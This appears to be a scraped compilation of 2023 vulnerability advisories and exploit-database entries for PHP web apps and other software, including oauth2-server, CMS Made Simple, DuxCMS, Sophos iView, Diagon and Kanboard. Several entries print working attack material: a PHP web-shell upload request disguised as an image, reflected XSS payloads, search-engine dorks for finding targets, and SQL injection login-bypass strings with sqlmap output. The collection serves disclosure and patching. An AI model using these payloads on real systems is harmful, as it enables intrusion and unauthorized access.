league/oauth2-server is an implementation of an OAuth 2.0 authorization server written in PHP. Starting in version 8.3.2 and prior to version 8.5.3, servers that passed their keys to the CryptKey constructor as as string instead of a file path will have had that key included in a LogicException message if they did not provide a valid pass phrase for the key where required. This issue has been patched so that the provided key is no longer exposed in the exception message in the scenario outlined above. Users should upgrade to version 8.5.3 to receive the patch. As a workaround, pass the key as a file instead of a string.

**Impact**

Servers that passed their keys to the CryptKey constructor as as string instead of a file path will have had that key included in a LogicException message if they did not provide a valid pass phrase for the key where required.

**Patches**

This issue has been patched so that the provided key is no longer exposed in the exception message in the scenario outlined above. Users should upgrade to version 8.5.3 to receive the patch

**Workarounds**

We recommend upgrading the oauth2-server to the latest version. If you are unable to upgrade you can avoid this security issue by passing your key as a file instead of a string.

**References**

Pull request for the applied fix.

CVE-2023-37260: Key exposed in exception message when passing as a string and providing an invalid pass phrase

CMS Made Simple v2.2.17 is vulnerable to Remote Command Execution via the File Upload Function.

**#Exploit Title:** CMS Made Simple v2.2.17 – File Upload Remote Code Execution (Authenticated)

**#Date:** 25 June 2023

**#Exploit Author:** Okan Kurtulus

**#Vendor Homepage:** https://www.cmsmadesimple.org/

**#Version:** 2.2.17

**#Tested on:** Ubuntu 18.0.4

**#CVE:** 2023-36969

**#Proof of Concept:**

**1-)** Install the system through the website and log in with any user.

**2-)** After logging in, click “File Manager” under “Content” from the left menu.

**3-)** Some file extensions are blocked from uploading. PHP extension is among them. To bypass this, we change the extension to PHTML.

**4-)** When we call the shell file, the reverse shell is taken.

When we make a small query, we see that 11950 websites use the relevant application.

CVE-2023-36969: CMS Made Simple v2.2.17 – File Upload Remote Code Execution (RCE) (Authenticated)

File upload vulnerability in DuxCMS 2.1 allows attackers to execute arbitrary php code via duxcms/AdminUpload/upload.

**File type upload configuration**

Add php file type to it like this

**Upload file features**

then find one upload file features

the file is name shell.jpg and content like this.

Capturing data packets of uploaded files,and change the file suffix to php

and the packets is like this.

    POST /DuxCMS/admin.php?r=duxcms/AdminUpload/upload HTTP/1.1
    Host: 127.0.0.1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0
    Accept: */*
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Referer: http://127.0.0.1/DuxCMS/admin.php?r=article/AdminContent/add
    Content-Type: multipart/form-data; boundary=---------------------------191691572411478
    Content-Length: 853
    Connection: close
    Cookie: 042_sessid_ab46d60bfa95=2020-13-9np1-77uqd8wxh-a95a9743c; phpwcmsBELang=en; loader=loaded; _utcpl=17ad82836af704761d37d9a49a32770es1; __atuvc=3%7C2; PHPSESSID=u7oug0qsfdrqa6r1l5v2kr3noh
    
    -----------------------------191691572411478
    Content-Disposition: form-data; name="class_id"
    
    0
    -----------------------------191691572411478
    Content-Disposition: form-data; name="id"
    
    WU_FILE_0
    -----------------------------191691572411478
    Content-Disposition: form-data; name="name"
    
    shell.jpg
    -----------------------------191691572411478
    Content-Disposition: form-data; name="type"
    
    image/jpeg
    -----------------------------191691572411478
    Content-Disposition: form-data; name="lastModifiedDate"
    
    2020/1/8 ä¸å4:16:35
    -----------------------------191691572411478
    Content-Disposition: form-data; name="size"
    
    35
    -----------------------------191691572411478
    Content-Disposition: form-data; name="file"; filename="shell.php"
    Content-Type: image/jpeg
    
    <?php
    
    phpinfo();
    
    ?>
    -----------------------------191691572411478--
    
    

**Access file**

After getting the file uploaded above, the file address returned by the server.Successfully uploaded the php file and executed the php file.

**Solution**

delete this configuration features.

CVE-2020-21861: Insecure configuration causes getshell · Issue #I182Y4 · 王爷/DuxCMS2.1支持php7.0以上版本 - Gitee.com

Archon CMS version 3.14 suffers from a cross site scripting vulnerability.

    ====================================================================================================================================| # Title     : Archon CMS V3.14 XSS Vulnerability                                                                                 || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 63.0.3 (32-bit)                                            || # Vendor    : http://www.archon.org/                                                                                             || # Dork      : Archive powered by Archon Version 3.14                                                                             |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] use payload : archive/index.php?id=34309'"()%26%25<acx><ScRiPt >prompt(908835)</ScRiPt>&p=collections/findingaid&q=&rootcontentid=104040[+] http://127.0.0.1/polishjewsyivoorg/archive/index.php?id=34309%27%22()%26%25%3Cacx%3E%3CScRiPt%20%3Eprompt(908835)%3C/ScRiPt%3E&p=collections/findingaid&q=&rootcontentid=104040Greetings to :=========================================================================================================================jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr  |=======================================================================================================================================

Archon CMS 3.14 Cross Site Scripting

Exposed and unpatched solar power monitoring systems have been exploited by both amateurs and professionals, including Mirai botnet hackers.

Hundreds of solar power monitoring systems are vulnerable to a trio of critical remote code execution (RCE) vulnerabilities. The hackers behind the Mirai botnet and even amateurs have already started taking advantage, and others will follow, experts are predicting.

Palo Alto Networks' Unit 42 researchers previously discovered that the Mirai botnet is spreading through CVE-2022-29303, a command injection flaw in SolarView Series software developed by the manufacturer Contec. According to Contec's website, SolarView has been used in more than 30,000 solar power stations.

On Wednesday, vulnerability intelligence firm VulnCheck pointed out in a blog post that CVE-2022-29303 is one of _three_ critical vulnerabilities in SolarView, and it's more than just the Mirai hackers targeting them.

"The most likely worst-case scenario is losing visibility into the equipment that's being monitored and having something break down," explains Mike Parkin, senior technical engineer at Vulcan Cyber. It's also theoretically possible, though, that "the attacker is able to leverage control of the compromised monitoring system to do greater damage or get deeper into the environment."

**Three Ozone-Sized Holes in SolarView**

CVE-2022-29303 is borne from a particular endpoint in the SolarView Web server, confi\_mail.php, which fails to sufficiently sanitize user input data, enabling the remote malfeasance. In the month it was released, the bug received some attention from security bloggers, researchers, and one YouTuber who showed off the exploit in a still publicly accessible video demonstration. But it was hardly the only problem inside SolarView.

For one thing, there's CVE-2023-23333, an entirely similar command injection vulnerability. This one affects a different endpoint, downloader.php, and was first revealed in February. And there's CVE-2022-44354, published near the end of last year. CVE-2022-44354 is an unrestricted file upload vulnerability affecting yet a third endpoint, enabling attackers to upload PHP Web shells to targeted systems.

VulnCheck noted that these two endpoints, like confi\_mail.php, "appear to generate hits from malicious hosts on GreyNoise meaning that they too are likely under some level of active exploitation."

All three vulnerabilities were assigned "critical" 9.8 (out of 10) CVSS scores.

**How Big of a Cyber Problem Are the SolarView Bugs?**

Only Internet-exposed instances of SolarView are at risk of remote compromise. A quick Shodan search by VulnCheck revealed 615 cases connected to the open Web as of this month.

This, says Parkin, is where the unnecessary headache starts. "Most of these things are designed to be operated _within_ an environment and shouldn't need access from the open Internet under most use cases," he says. Even where remote connectivity is absolutely necessary, there are workarounds that can protect IoT systems from the scary parts of the wider Internet, he adds. "You can put them all on their own virtual local area networks (VLANs) in their own IP address spaces, and restrict access to them to a few specific gateways or applications, etc."

Operators might risk remaining online if, at least, their systems are patched. Remarkably, however, 425 of those Internet-facing SolarView systems — more than two thirds of the total — were running versions of the software lacking the necessary patch.

At least when it comes to critical systems, this may be understandable. "IoT and operational technology devices are often a lot more challenging to update compared to your typical PC or mobile device. It sometimes has management making the choice to accept the risk, rather than take their systems off-line long enough to install security patches," Parkin says.

All three CVEs were patched in SolarView version 8.00.

3 Critical RCE Bugs Threaten Industrial Solar Panels, Endangering Grid Systems

Kanboard is project management software that focuses on the Kanban methodology. In versions prior to 1.2.31authenticated user is able to perform a SQL Injection, leading to a privilege escalation or loss of confidentiality. It appears that in some insert and update operations, the code improperly uses the PicoDB library to update/insert new information. Version 1.2.31 contains a fix for this issue.


1.  Releases
2.  v1.2.31

Security Fixes:

*   CVE-2023-36813: Avoid potential SQL injections without breaking compatibility with plugins

Other fixes and updates:

*   Run tests with PHP 8 on GitHub Actions
*   Bump Symfony dependencies
*   Update Composer dependencies to be able to run tests with PHP 8.2
*   Add /usr/bin/php symlink in the Docker image
*   Replace usage of at() matcher with alternatives in unit tests
*   Adjust plugin directory test case to work on released versions
*   Fix incorrect background dynamic property in captcha library
*   Update translations

CVE-2023-36813: Release Kanboard 1.2.31 · kanboard/kanboard

Cross Site Scripting (XSS) in Sophos Sophos iView (The EOL was December 31st 2020) in grpname parameter that allows arbitrary script to be executed.

Vendor: Sophos

Product: Sophos iView (The EOL was December 31st 2020)

**Product description:**

Reflected XSS in the privileged user area, where i was able to set parameter ‘json->”grpname”’s value to ‘ww;</script>/</script/>/<svg/onload=alert(‘Sophos’) width=100//>’

That successfully embedded a script in the response, which was executed when the page loads in the user’s browser.

*   CVE ID: CVE-2023-33335
*   CWE ID: CWE-79

**#Proof of Concept**

Reflected cross-site scripting (XSS) vulnerability was discovered in the product.

A cross-site scripting vulnerability was identified.

It was possible to inject malicious code, I’ve successfully embedded a script in the response, which allowed me to execute it when the page loaded in the browser.

The following Proof of Concept (PoC) demonstrates the attack as well as displaying evidence of the script payload being returned in the response.

**PoC:**

    POST /iview
    User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
    Referer: https://10.0.0.112/webpages/index.jsp?empty=1_1&watermarkmsg=0
    Cookie: JSESSIONID=189B80C28A886E98BBD17B7AEFF1B63C
    Connection: Keep-Alive
    Host: 10.0.0.112
    X-Requested-With: XMLHttpRequest
    Content-Length: 170
    Cache-Control: no-cache
    Accept: text/plain, */*; q=0.01
    Accept-Language: en-US
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    
    mode=28&deviceprofile=123&json={"selecteddevices":"1","grpname":"ww;</script>/</script/>/<svg/onload=alert('Sophos') width=100//>","description":"www"}&__RequestType=ajax
    
    HTTP/1.1 200 200
    Connection: Keep-Alive
    Server: xxxx
    Content-Length: 173
    X-Frame-Options: SAMEORIGIN
    Keep-Alive: timeout=5, max=100
    Cache-Control: max-age=2592000
    Strict-Transport-Security: max-age=31536000; includeSubDomains
    Date: Thu, 09 Jan 2020 14:54:39 GMT
    Expires: Sat, 08 Feb 2020 14:54:39 GMT
    
    {"reurl":"managedevicegroup.html?action=71020","message":"Device Group ww;<\/script>/<\/script/>/<svg/onload=alert('Sophos') width=100//> is already exists.","status":"500"}

Reply from Sophos via Bugcrowd:

“We are divesting the Sophos iView product, meaning that this particular vulnerability is accepted business risk. I will close this issue as Won’t Fix”

**References:**

1.  https://www.owasp.org/index.php/Cross-site\_Scripting\_(XSS)
2.  https://www.firewalls.com/pub/media/wysiwyg/datasheets/Sophos/iView.pdf
3.  https://vimeo.com/107872566
4.  https://docs.sophos.com/nsg/sophos-iview/v03012/Help/en-us/webhelp/onlinehelp/index.html#page/onlinehelp/AccessDevice.html

CVE-2023-33335: Reflected Cross-Site scripting in Sophos iView

An access violation vulnerability exists in the GraphPlanar::Write functionality of Diagon v1.0.139. A specially crafted network request can lead to a heap buffer overflow. An attacker can send a network request to trigger this vulnerability.

**SUMMARY**

An access violation vulnerability exists in the GraphPlanar::Write functionality of Diagon v1.0.139. A specially crafted network request can lead to a heap buffer overflow. An attacker can send a network request to trigger this vulnerability.

**CONFIRMED VULNERABLE VERSIONS**

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

Diagon v1.0.139

**PRODUCT URLS**

Diagon - https://github.com/ArthurSonzogni/Diagon

**CVSSv3 SCORE**

4.0 - CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:L

**CWE**

CWE-122 - Heap-based Buffer Overflow

**DETAILS**

Diagon is an interpreter that translates markdown into several formats: latex, planar graph, table, tree and many others.

The Diagon interpreter translates from a representation of a graph to a planar graph. For instance, the input could looks like this:

    A--B--C--D--E--F--D--C
    

And the planar graph would result in:

          ┌─┐
          │A│
          └┬┘
          ┌┴┐
          │B│
          └┬┘
    ┌─────┐│
    │  D  ││
    └┬─┬─┬┘│
     │ │┌┴┐│
     │ ││E││
     │ │└┬┘│
     │┌┴─┴┐│
     ││ F ││
     │└───┘│
    ┌┴─────┴─┐
    │   C    │
    └────────┘
    

The input will be parsed and eventually reach the GraphPlanar::Write() function:

    void GraphPlanar::Write() {
      ComputeArrowStyle();
    
      if (id_to_name.size() <= 2) {
        return;
      }
    
      int num_vertices = id_to_name.size();
    
      // Create a graph.
      Graph graph(num_vertices);
      for (auto& it : vertex)
        add_edge(it.from, it.to, graph);
      InitializeEdgeIndex(graph);
    
      // Make it connected.
      boost::make_connected(graph);                                                                         [1]
      InitializeEdgeIndex(graph);
    
      // Make it biconnected.
      Embedding embedding;
      bool is_planar = ComputePlanarEmbedding(graph, embedding);
      if (!is_planar) {
        output_ = "Graph is not planar.\n";
        return;
      }
    
      boost::make_biconnected_planar(graph, embedding.data());                                              [2]
      InitializeEdgeIndex(graph);
      Graph biconnected_graph(graph);
    
      ComputePlanarEmbedding(graph, embedding);
      boost::make_maximal_planar(graph, embedding.data());                                                  [3]
      InitializeEdgeIndex(graph);
    
      // Find a canonical ordering.
      ComputePlanarEmbedding(graph, embedding);
      std::vector<boost::graph_traits<Graph>::vertex_descriptor> ordering;
      boost::planar_canonical_ordering(graph, embedding.data(),
                                       std::back_inserter(ordering));                                       [4]
    
      std::vector<size_t> inverse_ordering(num_vertices);                                                   [5]
      for (int i = 0; i < inverse_ordering.size(); ++i) {
        inverse_ordering[ordering[i]] = i;                                                                  [6]
      }
      [...]
    }
    

This function, until the code at [3], will manipulate the graph representation of the input to satisfy the pre-requisites of the planar_canonical_ordering function at [4]. Indeed, to call the planar_canonical_ordering at [4], the graph must be maximal planar; that is, calculated at [3]. Before calling the make_maximal_planar at [3] the graph must be biconnected. To make the graph biconnected, the function make_biconnected_planar, at [2], is called. The last dependency is that the graph must be connected, which is satisfied using make_connected called at [1].

The Graph type is defined as follows:

    using Graph = boost::adjacency_list<boost::vecS,
                                boost::vecS,
                                boost::undirectedS,
                                boost::property<boost::vertex_index_t, int>,
                                boost::property<boost::edge_index_t, int>>;
    

The first template parameter is used to specify how to store the edges. In this case, the boost::vecS will store the edges in a std::vector. This configuration will allow parallel edges. For instance, in the example bellow, we have the edge (C,D) but also (D,E).

Using the boost::vecS, allegedly, will break some assumption of the called function. For instance, it could create a graph that is not biconnected at [2]. This can lead to an out-of-bounds read and write. In the POC shown below, after calling the planar_canonical_ordering function at [4] the ordering will have a number of elements lower than the num_vertices variable that represent the number of vertices in the graph. Because inverse_ordering, at [5] , is created based on the actual number of vertices, the inverse_ordering buffer and the ordering one will mismatch in sizes. This would cause, at [6], an out-of-bounds read and write.

**Exploit Proof of Concept**

Following the content of the POC used:

    $ cat POC.md
    A--B--C--D--E--F--D--C
    

If we run Diagon compile with ASAN with the POC:

    $ diagon GraphPlanar < POC.md
    AddressSanitizer:DEADLYSIGNAL
    =================================================================
    ==3943598==ERROR: AddressSanitizer: SEGV on unknown address (pc 0x0000006952ef bp 0x7ffddd10d730 sp 0x7ffddd10c7e0 T0)
    ==3943598==The signal is caused by a READ memory access.
    ==3943598==Hint: this fault was caused by a dereference of a high value address (see register values below).  Dissassemble the provided pc to learn which register was used.
        #0 0x6952ef in GraphPlanar::Write() /home/vagrant/Diagon/src/translator/graph_planar/GraphPlanar.cpp:342:35
        #1 0x693085 in GraphPlanar::Translate(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&) /home/vagrant/Diagon/src/translator/graph_planar/GraphPlanar.cpp:194:3
        #2 0x4fbd0e in (anonymous namespace)::Translate(Translator*, int, char const**) /home/vagrant/Diagon/src/main.cpp:277:36
        #3 0x4f97e7 in main /home/vagrant/Diagon/src/main.cpp:326:12
        #4 0x7fe4a9895d09 in __libc_start_main csu/../csu/libc-start.c:308:16
        #5 0x44ca69 in _start (/home/vagrant/Diagon/results/ordering_graphplanar_write_error/diagon_unfixed+0x44ca69)
    
    AddressSanitizer can not provide additional info.
    SUMMARY: AddressSanitizer: SEGV /home/vagrant/Diagon/src/translator/graph_planar/GraphPlanar.cpp:342:35 in GraphPlanar::Write()
    ==3943598==ABORTING
    

We can see that a segmentation fault occured. The GraphPlanar.cpp:342 line corresponds to the code at [6]

**VENDOR RESPONSE**

The maintainer has provided a patch at: https://github.com/ArthurSonzogni/Diagon/releases/tag/v1.1.158

**TIMELINE**

2023-05-03 - Vendor Disclosure  
2023-05-08 - Vendor Patch Release  
2023-07-05 - Public Release

Discovered by Francesco Benvenuto of Cisco Talos.

CVE-2023-31194: TALOS-2023-1745 || Cisco Talos Intelligence Group

Beauty Salon Management System version 1.0 suffers from a remote SQL injection vulnerability.

# Exploit Title: Beauty Salon Management System v1.0 - SQLi  
# Date of found: 04/07/2023  
# Exploit Author: Fatih Nacar  
# Version: V1.0  
# Tested on: Windows 10  
# Vendor Homepage: https://www.campcodes.com <https://www.campcodes.com/projects/retro-cellphone-online-store-an-e-commerce-project-in-php-mysqli/>  
# Software Link: https://www.campcodes.com/projects/beauty-salon-management-system-in-php-and-mysqli/  
# CWE: CWE-89

Vulnerability Description -

Beauty Salon Management System: V1.0, developed by Campcodes, has been  
found to be vulnerable to SQL Injection (SQLI) attacks. This vulnerability  
allows an attacker to manipulate login authentication with the SQL queries  
and bypass authentication. The system fails to properly validate  
user-supplied input in the username and password fields during the login  
process, enabling an attacker to inject malicious SQL code. By exploiting  
this vulnerability, an attacker can bypass authentication and gain  
unauthorized access to the system.

Steps to Reproduce -

The following steps outline the exploitation of the SQL Injection  
vulnerability in Beauty Salon Management System V1.0:

1. Open the admin login page by accessing the URL:  
http://localhost/Chic%20Beauty%20Salon%20System/admin/index.php

2. In the username and password fields, insert the following SQL Injection  
payload shown inside brackets to bypass authentication for usename  
parameter:

{Payload: username=admin' AND 6374=(SELECT (CASE WHEN (6374=6374) THEN 6374  
ELSE (SELECT 6483 UNION SELECT 1671) END))-- vqBh&password=test&login=Sign  
In}

3.Execute the SQL Injection payload.

As a result of successful exploitation, the attacker gains unauthorized  
access to the system and is logged in with administrative privileges.

Sqlmap results:

POST parameter 'username' is vulnerable. Do you want to keep testing the  
others (if any)? [y/N] y

sqlmap identified the following injection point(s) with a total of 793  
HTTP(s) requests:

---

Parameter: username (POST)

Type: boolean-based blind

Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)

Payload: username=admin' AND 6374=(SELECT (CASE WHEN (6374=6374) THEN 6374  
ELSE (SELECT 6483 UNION SELECT 1671) END))-- vqBh&password=test&login=Sign  
In

Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: username=admin' AND (SELECT 1468 FROM (SELECT(SLEEP(5)))qZVk)--  
rvYF&password=test&login=Sign In

---

[15:58:56] [INFO] the back-end DBMS is MySQL

web application technology: PHP 8.2.4, Apache 2.4.56

back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)

Beauty Salon Management System 1.0 SQL Injection

Super Store Finder PHP Script versions 3.6 and below suffer from a remote SQL injection vulnerability that allows for authentication bypass.

    #Title : Super Store Finder PHP Script SQL Injection / Bypass admin login#Researcher : Etharus#Vendor : Joe Iz, https://superstorefinder.net/#Script Demo Url : https://superstorefinder.net/products/superstorefinder/#Version Affected : 3.6 and below#Date : 5 July 2023#FOFA Dork : "designed and built by Joe Iz."# Step 1 : Go to admin login, eg: http://localhost/store-finder/admin/# Step 2 : Enter following payloadusername : ' union select 1,'admin','32ddaaea6874e2d3eab0a9ea6ecbb0d0',4,5,6,7,8,9,10,11-- -password : admin

Tag

#php